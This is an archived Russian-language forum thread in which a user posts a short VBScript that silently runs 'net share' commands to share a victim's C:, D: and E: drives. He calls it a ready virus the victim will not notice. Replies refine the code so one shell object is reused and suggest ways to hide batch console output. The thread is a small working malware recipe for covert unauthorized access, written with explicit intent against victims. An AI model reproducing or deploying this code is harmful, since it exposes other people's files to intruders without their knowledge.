PDA

Просмотр полной версии : convert .BAT to .VBS


anaxanim
12.05.2010, 20:44
Решил написать статейку про как выполнить .bat команды через Visual Basic Script (.vbs)
Открываем блокнот и вставляем туда такой код

Set a = CreateObject("Wscript.Shell")
a.Run "command.com /c net share disk_c=c:",0

и сохраняем наш код в расширение .vbs
Вирус готов. Эт файл выполнить команду net share disk_c=c: (расшарит диск С:
Самое главное что при выполнение команды командная строка cmd не будет видна в отличие от .bat и жертва не че не почувствует
Если вам надо выполнить не одну а 2 и больше команды в одном файле то вы должны на каждую команду писать все с начала
Объясню
допустим наш .bat код такой

net share disk_c=c:
net share disk_d=d:
net share disk_e=e:

и вы хотите конвертировать его в .vbs
Тогда наш vbs код будет такой

Set a = CreateObject("Wscript.Shell")
a.Run "command.com /c net share disk_c=c:",0
Set a = CreateObject("Wscript.Shell")
a.Run "command.com /c net share disk_d=d:",0
Set a = CreateObject("Wscript.Shell")
a.Run "command.com /c net share disk_e=e:",0

Думаю понятно объяснил
следующий раз расскажу как .vbs конвертировать в .exe
Все я кончил:)

vazonez
12.05.2010, 21:58
Мдя. Как гриццо, не знаете - не делайте.

Мы имеем:
Set a = CreateObject("Wscript.Shell")
a.Run "command.com /c net share disk_c=c:",0
Set a = CreateObject("Wscript.Shell")
a.Run "command.com /c net share disk_d=d:",0
Set a = CreateObject("Wscript.Shell")
a.Run "command.com /c net share disk_e=e:",0
Имея минимальные знания в вб-скриптах, превращаем это вот в такое:
Set a = CreateObject("Wscript.Shell")
a.Run "command.com /c net share disk_c=c:",0
a.Run "command.com /c net share disk_d=d:",0
a.Run "command.com /c net share disk_e=e:",0

Уточняйте детали перед постингом.

anaxanim
12.05.2010, 22:06
по мне так разницы нету
огромнее тя спасибо что уточнил

vazonez
12.05.2010, 23:22
по мне так разницы нету
Посмотрев твой код, можно увидеть, что в твоем варианте для каждой команды создается новый Automation object, что занимает определенное количество памяти, и оно явно больше, чем при создании 1 обьекта. Так зачем тратить лишнюю память и ресурсы?)

Mortal
13.05.2010, 00:35
Самое главное что при выполнение команды командная строка cmd не будет видна в отличие от .bat и жертва не че не почувствует
Еще момент, если хочешь спрятать выполнение консольного bat-скрипта, пиши в начале скрипта@echo off

Также по поводу упомянутого выше WSH, в помощь тебе замечательнейший мануал по нему: Windows Script Host ([Ссылки доступны только зарегистрированным пользователям]) *pivo*